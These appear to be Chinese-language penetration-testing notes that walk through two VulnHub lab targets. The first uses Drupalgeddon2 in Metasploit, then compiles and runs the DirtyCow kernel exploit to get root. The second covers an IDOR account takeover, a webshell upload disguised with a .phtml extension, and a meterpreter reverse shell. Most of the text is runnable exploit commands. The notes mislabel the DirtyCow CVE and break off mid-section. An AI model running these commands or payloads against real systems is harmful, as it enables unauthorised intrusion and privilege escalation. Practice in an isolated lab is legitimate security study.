案例一dirtycow(CVE-2016-5159)
有个前置知识就是 获取liunx的内核
uname -a
然后这个内核漏洞进行提权的步骤也是和手工win进行提权差不多 也是需要使用辅助工具在本地进行辅助检测 然后去nomi-sec/PoC-in-GitHub: 📡 从 GitHub 自动收集 PoC。⚠️ 小心恶意软件。
去找寻exp或者使用 msf本地的 梭哈模块去寻找利用的漏洞
run post/multi/recon/local_exploit_suggester
辅助检测工具:
单一的内核漏洞检测:https://github.com/The-Z-Labs/linux-exploit-suggester
综合型的工具:


靶机下载地址




















g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil


复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
案例二 pwnkit
靶机下载https://www.vulnhub.com/entry/darkhole-1,724/
sudo arp-scan -l
先扫描内网的ip
开放了80
这个漏洞是前端的一个逻辑越权漏洞 先注册一个账号
账号修改里出现这个id可能就是 代表的账户
我们试一下改为1会不会直接修改admin的账号和密码
哥斯拉生成后门 使用绕过形式 改为 .phtml 进行绕过
后门上传成功
后门地点
http://192.168.248.136/upload/xxx.phtml
学个新操做 哥斯拉联动msf(在不使用msfvemon生成反弹shell的情况下)
命令:
71 use /exploits/multi/handler
72 ip a
73 set payload php/meterpreter/reverse_tcp
74 set lport 5566
75 history
先加载再go
接受到了shell 然后进行提权
上传检测脚本
这个就是我们要学的新漏洞
第一个方法就是使用本地漏扫工具

